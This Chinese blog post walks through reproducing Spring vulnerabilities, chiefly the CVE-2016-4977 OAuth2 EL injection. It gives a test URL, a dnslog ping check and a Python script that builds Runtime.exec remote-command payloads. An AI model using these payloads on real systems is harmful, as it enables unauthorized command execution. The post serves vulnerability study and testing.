Spring 历史漏洞复现

1.Spring Security OAuth2.0 (CVE-2016-4977)

这个洞是由于Spring Security OAuth2.0的功能,在登录成功之后由于response_type不存在显示在Whitelabel Error Page上存在EL表达式注入漏洞

测试地址:http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

基本上使用了Spring Security OAuth2.0 默认路径就是这个了

 难受之处在于必须登录成功,不然直接就认证失败了。

再看下执行命令 "ping 0hb8tu.dnslog.cn"

 

生成poc的脚本:
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

使用方法:

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

猜你喜欢

转载自www.cnblogs.com/jinqi520/p/12033860.html